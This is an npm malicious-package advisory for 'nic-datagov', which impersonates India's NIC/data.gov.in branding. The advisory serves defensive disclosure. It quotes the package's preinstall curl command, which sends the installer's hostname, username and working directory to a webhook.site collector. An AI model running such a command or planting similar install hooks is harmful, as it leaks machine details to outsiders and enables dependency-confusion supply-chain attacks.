npm · Malicious package advisory
Malwarenic-datagov
MAL-2026-5836
Malicious code in nic-datagov (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (89be7e0ea4d164dad90f5476041928d54d5502a066e22d501373e1bbf9dc8bbf) package.json declares a preinstall script that runs `curl --data-urlencode "info=$(hostname && whoami && pwd)" https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/nic-datagov`, sending the installer's hostname, current user, and working directory to a webhook.site collector on `npm install`. The package ships no library code and has no `main`/`files` consistent with its stated 'NIC Data.gov.in integration library' description — its sole effect on install is the recon beacon. The name and description impersonate India's NIC/data.gov.in branding, consistent with a targeted dependency-confusion probe against an internal/government namespace. ## Source: ossf-package-analysis (cde3f0f0a325ac483003eea66dda1dd21f2de2a149a97a7df41c7fb447c5a8ee) The OpenSSF Package Analysis project identified 'nic-datagov' @ 1.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
Compromised versions (1)
- 1.0.0
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.